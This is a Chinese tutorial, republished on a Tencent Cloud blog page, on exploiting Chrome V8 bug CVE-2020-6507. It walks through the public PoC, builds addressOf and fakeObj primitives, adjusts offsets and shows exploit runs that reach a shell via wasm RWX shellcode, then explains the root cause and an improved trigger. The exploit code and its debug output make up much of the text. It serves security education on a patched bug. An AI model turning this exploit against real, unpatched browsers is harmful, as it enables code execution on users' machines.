前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)

从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)

作者头像
Seebug漏洞平台
发布2022-02-23 13:52:51
7230
发布2022-02-23 13:52:51
举报
文章被收录于专栏:Seebug漏洞平台Seebug漏洞平台

作者:Hcamael@知道创宇404实验室

相关阅读:

从 0 开始学 V8 漏洞利用之环境搭建(一) 从 0 开始学 V8 漏洞利用之 V8 通用利用链(二) 从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)

复现CVE-2020-6507

信息收集

在复习漏洞前,我们首先需要有一个信息收集的阶段:

1.可以从Chrome的官方更新公‍告(https://chromereleases.googleblog.com/)

得知某个版本的Chrome存在哪些漏洞。

2.从官方更新公告上可以得到漏洞的bug号,从而在官方的issue列表(https://bugs.chromium.org/p/chromium/issues/list)获取该bug相关信息,太新的可能会处于未公开状态。

3.可以在Google搜索Chrome 版本号 "dl.google.com",比如chrome 90.0.4430.93 "dl.google.com",可以搜到一些网站有Chrome更新的新闻,在这些新闻中能获取该版本Chrome官方离线安装包。下载Chrome一定要从dl.google.com网站上下载。

我第二个研究的是CVE-2020-6507,可以从官方公告得知其chrome的bug编号为:1086890(https://bugs.chromium.org/p/chromium/issues/detail?id=1086890)

可以很容易找到其相关信息:

受影响的Chrome最高版本为:83.0.4103.97 受影响的V8最高版本为:8.3.110.9

相关PoC:

代码语言:javascript
复制
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];

搭建环境

一键编译相关环境:

代码语言:javascript
复制
$ ./build.sh 8.3.110.9

套模版

暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。

  • 研究PoC

运行一下PoC:

代码语言:javascript
复制
$ cat poc.js
......
corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
# 最后一行删了,alert改成console.log
$ ./d8 poc.js
corrupted array length: 12121212

可以发现,改PoC的作用是把corrupted_array数组的长度改为0x24242424/2 = 0x12121212,那么后续如果我们的obj_arraydouble_array在这个长度的内存区域内,那么就可以写addressOffakeObj函数了。

来进行一波测试:

代码语言:javascript
复制
$ cat test.js
......
corrupted_array = trigger(giant_array)[1];
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

%DebugPrint(corrupted_array);
%SystemBreak();
代码语言:javascript
复制
DebugPrint: 0x9ce0878c139: [JSArray]
 - map: 0x09ce08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x09ce082091e1 <JSArray[0]>

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
......
pwndbg> x/32gx 0x9ce0878c139-1
0x9ce0878c138:  0x080406e908241891 0x2424242400000000
0x9ce0878c148:  0x00000004080404b1 0x0878c1390878c119
0x9ce0878c158:  0x080406e9082418e1 0x000000040878c149

调试的时候,发现程序crash了,不过我们仍然可以查看内存,发现该版本的v8,已经对地址进行了压缩,我们虽然把length位改成了0x24242424,但是我们却也把elements位改成了0x00000000。在这个步骤的时候,我们没有泄漏过任何地址,有没有其他没办法构造一个elements呢。

最后发现堆地址是从低32bit地址为0x00000000开始的,后续变量可能会根据环境的问题有所变动,那么前面的值是不是低32bit地址不会变呢?

改了改测试代码,如下所示:

代码语言:javascript
复制
$ cat test.js
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

array = Array(0x40000).fill(1.1);
......
corrupted_array = trigger(giant_array)[1];
%DebugPrint(double_array);
var a = corrupted_array[0];
console.log("a = 0x" + ftoi(a).toString(16));

结果为:

代码语言:javascript
复制
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x288c089017d5: [JSArray] in OldSpace
 - map: 0x288c08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x288c082091e1 <JSArray[0]>
 - elements: 0x288c089046ed <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x288c080406e9 <FixedArray[0]> {
    #length: 0x288c08180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x288c089046ed <FixedDoubleArray[1]> {
           0: 1.1
 }
0x288c08241891: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x288c08241869 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x288c08180451 <Cell value= 1>
 - instance descriptors #1: 0x288c08209869 <DescriptorArray[1]>
 - transitions #1: 0x288c082098b5 <TransitionArray[4]>Transition array #1:
     0x288c08042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288c082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x288c082091e1 <JSArray[0]>
 - constructor: 0x288c082090b5 <JSFunction Array (sfi = 0x288c08188e45)>
 - dependent code: 0x288c080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

a = 0x80406e908241891

成功泄漏出double_array变量的map地址,再改改测试代码:

代码语言:javascript
复制
$ cat test.js
......
length_as_double =
    new Float64Array(new BigUint64Array([0x2424242408901c75n]).buffer)[0];
......
%DebugPrint(double_array);
%DebugPrint(obj_array);
var array_map = corrupted_array[0];
var obj_map = corrupted_array[4];
console.log("array_map = 0x" + ftoi(array_map).toString(16));
console.log("obj_map = 0x" + ftoi(obj_map).toString(16));

再来看看结果:

代码语言:javascript
复制
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x34f108901c7d: [JSArray] in OldSpace
 - map: 0x34f108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x34f1082091e1 <JSArray[0]>
 - elements: 0x34f108904b95 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x34f1080406e9 <FixedArray[0]> {
    #length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x34f108904b95 <FixedDoubleArray[1]> {
           0: 1.1
 }
......
DebugPrint: 0x34f108901c9d: [JSArray] in OldSpace
 - map: 0x34f1082418e1 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x34f1082091e1 <JSArray[0]>
 - elements: 0x34f108904b89 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x34f1080406e9 <FixedArray[0]> {
    #length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x34f108904b89 <FixedArray[1]> {
           0: 0x34f108901c8d <Object map = 0x34f108244e79>
 }
......
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1

成功泄漏了map地址,不过该方法的缺点是,只要修改了js代码,堆布局就会发生一些变化,就需要修改elements的值,所以需要先把所有代码写好,不准备变的时候,再来修改一下这个值。

不过也还有一些方法,比如堆喷,比如把elements值设置的稍微小一点,然后在根据map的低20bit为0x891,来搜索map地址,不过这些方法本文不再深入研究,有兴趣的可以自行进行测试。

  • 编写addressOf函数

现在我们能来编写addressOf函数了:

代码语言:javascript
复制
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    corrupted_array[4] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    corrupted_array[4] = obj_map; // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}
  • 编写fakeObj函数

接下来就是编写fakeObj函数:

代码语言:javascript
复制
function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    corrupted_array[0] = obj_map;  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    corrupted_array[0] = array_map; // 改回来,以便后续需要的时候使用
    return faked_obj;
}
  • 修改偏移

改版本中,需要修改的偏移有:

代码语言:javascript
复制
$ cat exp1.js
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
......
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n;
......
}
......
fake_object_addr = fake_array_addr + 0x48n;
......

其他都模板中一样,最后运行exp1:

代码语言:javascript
复制
$ ./d8 --allow-natives-syntax exp1.js
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8040a3d5962db08
[*] leak wasm_instance addr: 0x8040a3d082116bc
[*] leak rwx_page_addr: 0x28fd83851000
[*] buf_backing_store_addr: 0x9c0027c000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

优化exp

前面内容通过套模板的方式,写出了exp1,但是却有些许不足,因为elements的值是根据我们本地环境测试出来的,即使在测试环境中,代码稍微变动,就需要修改,如果只是用来打CTF,我觉得这样就足够了。但是如果拿去实际的环境打,exp大概需要进行许多修改。

接下来,我将准备讲讲该漏洞原理,在理解其原理后,再来继续优化我们的exp。那为啥之前花这么长时间讲这个不太实用的exp?而不直接讲优化后的exp?因为我想表明,在只有PoC的情况下,也可以通过套模板,写出exp。

  • 漏洞成因

漏洞成因这块我不打算花太多时间讲,因为我发现,V8更新的太快了,你花大量时间来分析这个版本的代码,分析这个漏洞的相关代码,但是换一个版本,会发现代码发生了改变,之前分析的已经过时了。所以我觉得起码在初学阶段,没必要深挖到最底层。

在bugs.chromium.org上已经很清楚了解释了该漏洞了。

NewFixedArrayNewFixedDoubleArray没有对数组的大小进行判断,来看看NewFixedDoubleArray修复后的代码,多了一个判断:

代码语言:javascript
复制
macro NewFixedDoubleArray<Iterator: type>(
......
  if (length > kFixedDoubleArrayMaxLength) deferred {
      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
    }
......

再去搜一搜源码,发现kFixedDoubleArrayMaxLength = 671088612,说明一个浮点型的数组,最大长度为67108862

我们再来看看PoC:

代码语言:javascript
复制
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

我们来算算,array的长度为0x40000args的为0xffarray,然后args还push了一个长度为0x3fffc的数组。

通过Array.prototype.concat.apply函数,把args变量变成了长度为0x40000 * 0xff + 0x3fffc = 67108860的变量giant_array

接着再使用splice添加了3个值,该函数将会执行NewFixedDoubleArray函数,从而生成了一个长度为67108860+3=67108863的浮点型数组。

该长度已经超过了kFixedDoubleArrayMaxLength的值,那么改漏洞要怎么利用呢?

来看看trigger函数:

代码语言:javascript
复制
function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);  // 触发JIT优化
}

该函数传入的为giant_array数组,其长度为67108863,所以x = 67108863,经过计算后,得到x = 7,然后执行corrupting_array[x] = length_as_double;corrupting_array原本以数组的形式储存浮点型,长度为2,但是给其index=7的位置赋值,将会把该变量的储存类型变为映射模式。

这么一看,好像并没有什么问题。但是V8有一个特性,会对执行的比较多的代码进行JIT优化,会删除一些冗余代码,加速代码的执行速度。

比如对trigger函数进行优化,V8会认为x的最大长度为67108862,那么x最后的计算结果最大值为1,那么x最后的值不是0就是1,corrupting_array的长度为2,不论对其0还是1赋值都是有效的。原本代码在执行corrupting_array[x]执行的时候,会根据x的值对corrupting_array边界进行检查,但是通过上述的分析,JIT认为这种边界检查是没有必要的,就把检查的代码给删除了。这样就直接对corrupting_array[x]进行赋值,而实际的x值为7,这就造成了越界读写,而index=7这个位置,正好是corrupted_array变量的elementslength位,所以PoC达到了之前分析的那种效果。

知道原理了,那么我们就能对该函数进行一波优化了,我最后的优化代码如下:

代码语言:javascript
复制
length_as_double =
    new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];
function trigger(array) {
  var x = array.length;
  x -= 67108861; // 1 2
  x *= 10; // 10 20
  x -= 9; // 1 11
  let test1 = [0.1, 0.1];
  let test2 = [test1];
  let test3 = [0.1];
  test1[x] = length_as_double; // fake length
  return [test1, test2, test3];
}

x最后的值为11,修改到了test3的长度,但是并不会修改到elements的值,因为中间有个test2,导致产生了4字节的偏移,所以我们可以让我们只修改test3的长度而不影响到elements

根据上述思路,我们对PoC进行一波修改:

代码语言:javascript
复制
function trigger(array, oob) {
  var x = array.length;
  x -= 67108861; // 1 2
  x *= 10; // 10 20
  x -= 9; // 1 11
  oob[x] = length_as_double; // fake length
}

for (let i = 0; i < 30000; ++i) {
  vul = [1.1, 2.1];
  pad = [vul];
  double_array = [3.1];
  obj = {"a": 2.1};
  obj_array = [obj];
  trigger(giant_array, vul);
}
%DebugPrint(double_array);
%DebugPrint(obj_array);
//%SystemBreak();
var array_map = double_array[1];
var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(ftoi(array_map)));
console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));

接下来只要在exp1的基础上对addressOffakeObj进行一波微调,就能形成我们的exp2了:

代码语言:javascript
复制
$ cat exp2.js
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    double_array[8] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    double_array[8] = obj_map; // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array[1] = obj_map;  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    return faked_obj;
}
$ ./d8  exp2.js
[*] array_map = 0x80406e908241891
[*] obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8241891591b0d88
[*] leak wasm_instance addr: 0x8241891082116f0
[*] leak rwx_page_addr: 0x3256ebaef000
[*] buf_backing_store_addr: 0x7d47f2d000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

参考

  1. https://chromereleases.googleblog.com/
  2. https://bugs.chromium.org/p/chromium/issues/list
  3. https://bugs.chromium.org/p/chromium/issues/detail?id=1086890

往 期 热 门

从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)

从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)

从 0 开始学 V8 漏洞利用之环境搭建(一)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-02-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Seebug漏洞平台 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档